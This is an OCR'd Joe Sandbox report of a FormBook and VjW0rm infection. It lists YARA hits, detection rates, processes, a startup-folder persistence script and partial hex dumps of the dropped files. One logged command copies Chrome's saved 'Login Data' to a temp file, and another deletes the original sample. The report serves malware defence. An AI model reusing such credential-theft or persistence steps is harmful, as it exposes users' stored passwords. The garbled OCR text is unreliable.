Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix

Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response

Group

Detection: 100%, Avira

Detection: 100%, Joe Sandbox ML
Detection: 49%, Metadefender, Browse
Detection: 100%, ReversingLabs

Offset Length Completion

0 1622408 success or wait 1

Analysis Process: explorer.exe PID: 684, Parent PID: 6372

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

4

18:40:24

27/05/2022

C:\Windows\explorer.exe

false

C:\Windows\Explorer.EXE

0x7ff74fc70000

3933184 hytes

Copyright Joe Security LLC 2022

Count Source Address

Symbol

2A417 NtReadFile
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created
File Path

AD5296B280E8F522A8A897C96BABOE1D

true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

high

C:\Users\user\AppData\Local\Temp\CIf0t8I5h

C:\Users\user\AppData\Local\Te
mp\CIfot8I5h\oxx7nkdv4g8.exe

File Deleted

File Path

Access Attributes

read data or list
directory |
synchronize

device |
compressed

read data or list
directory | write
data or add file |
append data or
add subdirectory
or create pipe
instance | read
ea | write ea |
read attributes |
write attributes |
read control |
synchronize

device |
compressed

C:\Users\user\AppData\Local\Temp\CIfOt8I5h\oxx7nkdv4g8.exe

File Written

File Path

Offset

Copyright Joe Security LLC 2022

Length Value Ascii

Options Completion

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait

non alert | non
directory file

Completion

success or wait

Completion

Count Source Address

1 5EDG6A72

1 S5EDDF9F

Count Source Address

1 S5EDDECS

Count Source Address

Symbol

CreateDirect
oryWw

NtCreateFile

Symbol

NtDeleteFile

Symbol
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File Path

C:\Users\user\AppData\Local\Te
mp\CIfOt8I5h\oxx7nkdv4g8.exe

File Path

Registry Activities

Offset

0

Length Value

175616 4d 5a 45 52 fd 00 00 00

00 58 fd fd 09 fd 03 fd 3¢
fd 00 03 fd fd fd 28 03 08
fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fd 00 00 00 Oe 1f fd Oe 00
fd 09 fd 21 fd 01 4c fd 21
54 68 69 73 20 70 72 6f
67 72 61 6d 20 63 61 6e
6e 6f 74 20 62 65 20 72
75 6e 20 69 6e 20 44 4f
53 20 6d 6f 64 65 2e 0d
0d 0a 24 00 00 00 00 00
0000 1d 76 fd 26 59 17
fd 7559 17 fd 75 59 17 fd
7542 fd6d 7517 17 fd
7542 fd 58 75 5a 17 fd
7542 fd 5b 75 58 17 fd
7552 69 63 68 59 17 fd
75 00 00 00 00 00 00 00
00 50 45 00 00 4c 01 01
00 24 fd 18 3f 00 00 00
00 00 00 00 00 fd 00 02
01 0b 01 0Oa 00 00 fd 02
00 00 00 00 00 00 00 00
00 fd fd 01 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 02 00
00 05 00 01 00 00 00 00

Offset

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path

Name

Name

Type

Type Data

Old Data

Analysis Process: wscript.exe PID: 3576, Parent PID: 684

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Path

File Written

5

18:40:32
27/05/2022

C:\Windows\System32\wscript.exe

false

Ascii

Completion

MZERX<(IL!This program success or wait

cannot be run in DOS
mode.$v&YuYuYuBm
uuBXuZuB[uXuRichYuP
EL$?@

Length

New Data

Completion

Completion

Completion

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"

0x7ff680380000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

true

true

C, C++ or other language

high

Copyright Joe Security LLC 2022

Access

Attributes

Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000005.00000002.964554613.000002CA0370B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000005.00000002.990991085.000002CA0506D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Options

Completion

Count Source Address

1

S5EDE284

Count Source Address

Count Source Address

Source
Count
Address

Count Source Address

Symbol

NtWriteFile

Symbol

Symbol

Symbol

Symbol
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File Path

C:\Users\user\AppData\Roaming\ 0

Microsoft\Windows\Start Menu\P
rograms\Startup\wtheeNaAZG.js

Offset Length Value

8757 76 6f 69 64 20 28 21 41
72726179 2e 70 72 6f

74 6f74 79 70 65 2e 66

File Path

6f 72 45 61 63 68 20 3f
204172726179 2e 70
72 6f 74 6f 74 79 70 65
2e 66 6f 72 45 61 63 68
20 3d 20 66 75 6e 63 74
69 6f 6e 20 28 63 61 6¢
6C 62 61 63 6b 2¢c 20 74
68 69 73 41 72 67 29 20
7b 0a 20 20 20 20 74 68
69 73 41 72 67 20 3d 20
74 686973417267 3b
0Oa 20 20 20 20 66 6f 72
2028 76 61 72 20 69 20
3d 20 30 3b 20 69 20 3c
20 74 68 69 73 2e 6¢ 65
6e 67 74 68 3b 20 69 2b
2b 29 20 7b Oa 20 20 20
2020 20 20 20 63 61 6¢C
6C 62 61 63 6b 2e 63 61
6C 6C 28 74 68 69 73 41
72 67 2¢ 20 74 68 69 73
5b 69 5d 2c 20 69 2c¢ 20
74 68 69 73 29 3b 0a 20
202020 7d Oa 7d 20 3a
20302c2021417272
61 79 2e 70 72 6f 74 6f
7479 70 65 2e 6d 61 70
203f204172726179
2e 70 72 6f 74 6f 74

Offset

Analysis Process: wscript.exe PID: 1408, Parent PID: 684

General

Target ID: 7

Start time: 18:40:41

Start date: 27/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit):

Commandline:

false

Ascii Completion Count Source Address

void success or wait 1 TFFA527B700A
('Array.prototype.forEach
? Array.prototype.forEach
= function (callback,
thisArg) { thisArg =
thisArg; for (vari=0;i
< this.length; i++) {
callback.call(thisArg,
thisfi, i, this); }}: 0,
!Array.prototype.map ?
Array.protot

Length Completion Count Source Address

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js"

Imagebase: 0x7ff680380000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Yara matches:

Reputation:

C, C++ or other language

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000007.00000002.961147065.0000019173A2A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000007.00000002.961930563.0000019175726000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

Analysis Process: wscript.exe PID: 6416, Parent PID: 684

General

Target ID: 9

Start time: 18:40:50

Start date: 27/05/2022

Path: C:\Windows\System32\wscript.exe
Wow64 process (32bit): false

Commandline:

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG js"

Imagebase: 0x7ff680380000
File size: 163840 bytes
MDS5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Copyright Joe Security LLC 2022

Symbol

CopyFilew

Symbol
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Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

true

true

C, C++ or other language

e Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source:

00000009.00000002.964474352.000002A0FC393000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000009.00000002.964474352.000002A0FC393000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000009.00000003.512701190.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000009.00000002.972899634.000002A0FE18A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000009.00000002.964440619.000002A0FC389000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000009.00000003.512633458.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Registry Activities

Access Attributes Options Completion Count Source Address

Offset Length Completion Count Source Address

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Name Type Old Data New Data Completion Count

Source
Address

Analysis Process: rundll32.exe PID: 6204, Parent PID: 684

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

13

18:41:18

27/05/2022
C:\Windows\SysWOWe64\rundll32.exe

true

C:\Windows\SysWOWe64\rundll32.exe
0xf00000

61952 bytes
D7CA562B0DB4F4DDOF03A89A1FDAD63D
true

true

C, C++ or other language

Copyright Joe Security LLC 2022

Symbol

Symbol

Symbol
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, Author:

dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:

0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group

0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding

dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:

0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, Author:
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, Author:
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author:
dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author:

Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group

Reputation: high

File Activities

File Path Access Attributes Options Completion Count Source Address Symbol
File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOWwWe64\ntdll.dll 0 1622408 success or wait 1 41A417 NtReadFile
Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol

Analysis Process: cmd.exe PID: 1632, Parent PID: 6204

General

Target ID: 14

Start time: 18:41:24

Start date: 27/05/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):

true

Commandline: /c del "C:\Users\user\AppData\Local\Temp\bin.exe"
Imagebase: 0x1100000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

File Activities

Copyright Joe Security LLC 2022

C, C++ or other language

high
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There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: conhost.exe PID: 6796, Parent PID: 1632

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

15

18:41:28

27/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff77f440000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 5820, Parent PID: 6204

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

File Created

File Path

C:\Users\user\AppData\Local\Temp\DB1

File Written

File Path

19

18:43:15

27/05/2022
C:\Windows\SysWOW64\cmd.exe

true

Options Completion

Count Source Address

/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

0x1100000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Access Attributes

read data or list  device
directory | read

attributes |

delete | write dac

| synchronize |

generic read |

generic write

Offset Length Value Ascii

Copyright Joe Security LLC 2022

Options Completion

sequential only |  success or wait
non directory file

Completion

Count Source Address

1 1104E97

Count Source Address

Symbol

Symbol

CopyFileEx
W

Symbol
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File Path

C:\Users\user\AppData\Local\Te 0

mp\DB1

File Read
File Path

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login

Data

C:\Users\user\AppData\Local\Temp\DB1

Offset Length Value Ascii

40960 53 51 4c 69 74 65 20 66
6f 72 6d 61 74 20 33 00
08 00 01 01 00 40 20 20
00 00 00 01 00 00 00 14
00 00 00 00 00 00 00 00
00 00 00 Ob 00 00 00 04
00 00 00 00 00 00 00 00
00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 01
00 2e 43 fd 05 00 00 00
01 07 fd 00 00 00 00 10
07 fd 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

SQLite format 3@ .C

Offset Length

unknown 512
65024

unknown

unknown 40960

Analysis Process: conhost.exe PID: 5772, Parent PID: 5820

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

20

18:43:16

27/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff77f440000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: oxx7nkdv4g8.exe PID: 5868, Parent PID: 684

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

23

18:43:46

27/05/2022

C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe
true

C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe
0x8d0000

Copyright Joe Security LLC 2022

Completion

success or wait

Completion

success or wait

success or wait

success or wait

Count Source Address

1 1104E97

Count Source Address

1 1105742
1 1118CA9
1 1118CD3

Symbol

CopyFileExW

Symbol

ReadFile

ReadFile

ReadFile
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File size:
MD5 hash:
Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Antivirus matches:

Disassembly

@ No disassembly

175616 bytes
FF568D4337CE1566C4140FA2FEDF8DBS
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

* Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author:

dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

JPCERT/CC Incident Response Group
Joe Security

Felix Bilstein - yara-signator at cocacoding

00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Author: JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author:

Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\CIfOt8I5h\oxx7nkdv4g8.exe, Author: JPCERT/CC Incident

Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author:

Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\CIfOt8I5h\oxx7nkdv4g8.exe, Author: JPCERT/CC Incident

Response Group

Detection: 100%, Avira

Detection: 100%, Avira

Detection: 100%, Joe Sandbox ML
Detection: 100%, Joe Sandbox ML
Detection: 49%, Metadefender, Browse
Detection: 100%, ReversingLabs

Copyright Joe Security LLC 2022
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